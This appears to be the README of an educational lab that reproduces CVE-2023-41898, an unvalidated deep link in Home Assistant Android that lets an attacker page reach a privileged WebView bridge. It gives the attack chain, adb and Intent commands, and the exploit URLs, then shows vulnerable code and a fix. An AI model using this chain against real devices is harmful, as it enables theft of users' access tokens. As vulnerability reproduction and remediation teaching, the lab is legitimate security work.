
Walk through CVE-2023-41898: exploit an unvalidated deep link in Home Assistant Android to load arbitrary URLs in a privileged WebView and leak a fake token.
This is an educational, reduced-scope reproduction Lab built based on the public vulnerability report (GHSL-2023-142) for Home Assistant Companion for Android and the open-source structure of the vulnerable version 2023.8.2.
It does not use a real Home Assistant server, account, or token. It only exposes a fixed dummy token named LAB_TOKEN_CVE_2023_41898_NOT_REAL.
2023.9.2 (per official advisory)2023.9.2Attacker App
│ explicit ACTION_VIEW Intent
│ data=http://10.0.2.2:8000/exploit.html
▼
Victim MyActivity (exported)
│ loads JavaScript-enabled WebView.loadUrl() without validation
▼
exploit.html
│ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
▼
Victim WebViewActivity (privileged WebView)
│ exposes the externalApp JavaScript bridge to the attacker's page
▼
Dummy LAB_TOKEN displayed
The intent-filter in the Android manifest only defines which URIs match implicit Intents; it does not automatically validate the data URI of an Intent that explicitly specifies a component.
victim/: app reproducing the vulnerable deep-link handler and the privileged WebViewattacker/: app sending an explicit Intent to the victim app's exported Activityweb/: stage 1 and 2 attack pages served locallydist/: verified debug APKsUPSTREAM.md: mapping between the original source and the Lab implementationRequirements: JDK 17 or later, Android SDK 36, Gradle/Android Gradle Plugin cache or an internet connection.
./gradlew :victim:assembleDebug :attacker:assembleDebug
Run only on an authorized emulator or test device.
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk
Run the following command from the Lab root.
python3 -m http.server 8000 --directory web
In the Android Studio default emulator, 10.0.2.2 points to the host PC's loopback. If you use a physical test device, change the URLs in web/exploit.html and the attacker app to the PC's LAN IP.
CVE-2023-41898 Victim and CVE-2023-41898 Attacker apps.homeassistant://navigate/ URL.LAB_TOKEN_CVE_2023_41898_NOT_REAL is displayed.You can also invoke the first stage via ADB without the attacker app.
adb shell am start \
-n lab.cve202341898.victim/.MyActivity \
-a android.intent.action.VIEW \
-d 'http://10.0.2.2:8000/exploit.html'
The vulnerable implementation loads the external URI as-is.
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());
For a fix, the scheme, host, port, and path of the parsed URI must be validated against a strict allowlist. Do not use string startsWith comparisons, because they risk user-info ([email protected]), subdomain, and encoding bypasses.
Uri uri = getIntent().getData();
boolean trusted = uri != null
&& "https".equals(uri.getScheme())
&& "my.home-assistant.io".equals(uri.getHost())
&& uri.getPort() == -1
&& uri.getPath() != null
&& uri.getPath().startsWith("/redirect/");
if (!trusted) {
finish();
return;
}
Additionally, remove unnecessary JavaScript and JavascriptInterface from the WebView, and apply the same URL validation to all navigations and redirects.
2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2